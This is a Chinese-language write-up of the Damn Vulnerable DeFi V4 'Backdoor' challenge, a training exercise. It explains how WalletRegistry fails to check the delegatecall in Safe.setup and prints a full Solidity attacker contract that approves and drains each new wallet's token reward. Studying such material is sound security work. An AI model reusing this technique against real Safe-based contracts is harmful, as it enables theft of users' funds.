本文分析了Damn Vulnerable DeFi V4的Backdoor挑战,该挑战利用了WalletRegistry和Safe钱包初始化过程中的漏洞。
此说明假定你事先了解此挑战中的智能合约,并将专门关注漏洞分析。
为了激励团队创建更安全的钱包,有人部署了一个 Safe 钱包的注册表。当团队中的某人部署和注册钱包时,他们将获得 10 个 DVT 代币。
该注册表与合法的 Safe Proxy Factory 紧密集成。它包括严格的安全检查。
目前有四个人注册为受益人:Alice、Bob、Charlie 和 David。该注册表有 40 个 DVT 代币余额,将在他们之间分配。
发现注册表中的漏洞,找回所有资金,并将其存入指定的恢复账户。在一次交易中。
后门挑战暴露了 WalletRegistry 和 Safe 钱包初始化过程之间集成中的漏洞。该注册表实现了对部署钱包的受益人的奖励,但未能正确验证钱包创建的所有方面。
核心漏洞在于 Safe 合约的 setup 函数,该函数允许在初始化期间进行 delegate call。WalletRegistry 仅在 proxyCreated 回调期间验证 Safe 钱包的某些参数:
// 检查所有者数量
address[] memory owners = Safe(walletAddress).getOwners();
if (owners.length != EXPECTED_OWNERS_COUNT) {
revert InvalidOwnersCount(owners.length);
}
// 检查所有者是否为受益人
address walletOwner = owners[0];
if (!beneficiaries[walletOwner]) {
revert OwnerIsNotABeneficiary();
}
// 检查 fallback 管理器
address fallbackManager = _getFallbackManager(walletAddress);
if (fallbackManager != address(0)) {
revert InvalidFallbackManager(fallbackManager);
}
该注册表不会检查或限制在钱包初始化期间传递的 delegate call 参数(to 和 data)。这种疏忽允许攻击者包含一个恶意 delegate call,该调用以新创建的钱包的上下文和权限执行。
- 受益人作为钱包所有者(以通过注册表检查)
- 在初始化期间,对恶意合约进行 delegate call
contract Attacker {
Safe singletonCopy;
SafeProxyFactory walletFactory;
DamnValuableToken token;
WalletRegistry walletRegistry;
address[] beneficiaries;
address recovery;
uint immutable AMOUNT_TOKENS_DISTRIBUTED;
constructor(
Safe _singletonCopy,
SafeProxyFactory _walletFactory,
DamnValuableToken _token,
WalletRegistry walletRegistryAddress,
address[] memory _beneficiaries,
address recoveryAddress,
uint amountTokensDistributed
) payable {
singletonCopy = _singletonCopy;
walletFactory = _walletFactory;
token = _token;
walletRegistry = walletRegistryAddress;
beneficiaries = _beneficiaries;
recovery = recoveryAddress;
AMOUNT_TOKENS_DISTRIBUTED = amountTokensDistributed;
}
function approveTokens(DamnValuableToken _token, address spender) external {
_token.approve(spender, type(uint256).max);
}
function attack() public {
for (uint i = 0; i < beneficiaries.length; i++) {
address newOwner = beneficiaries[i];
address[] memory owners = new address[](1);
owners[0] = newOwner;
bytes memory maliciousData = abi.encodeCall(
this.approveTokens,
(token, address(this))
);
bytes memory initializer = abi.encodeCall(
Safe.setup,
(
owners,
1,
address(this),
maliciousData,
address(0),
address(0),
0,
payable(address(0))
)
);
SafeProxy proxy = walletFactory.createProxyWithCallback(
address(singletonCopy),
initializer,
1,
walletRegistry
);
token.transferFrom(
address(proxy),
address(this),
token.balanceOf(address(proxy))
);
}
token.transfer(recovery, AMOUNT_TOKENS_DISTRIBUTED);
}
}
/**
* CODE YOUR SOLUTION HERE
*/
function test_backdoor() public checkSolvedByPlayer {
Attacker attacker = new Attacker(
singletonCopy,
walletFactory,
token,
walletRegistry,
users,
recovery,
AMOUNT_TOKENS_DISTRIBUTED
);
attacker.attack();
}
包含解决方案的 GitHub 存储库:https://github.com/HamMnatsakanyan/damn-vulnerable-defi-solutions/
查看我的 X 个人资料:https://x.com/_synthrax
- 原文链接: coinsbench.com/damn-vuln...
- 登链社区 AI 助手,为大家转译优秀英文文章,如有翻译不通的地方,还请包涵~
如果觉得我的文章对您有用,请随意打赏。你的支持将鼓励我继续创作!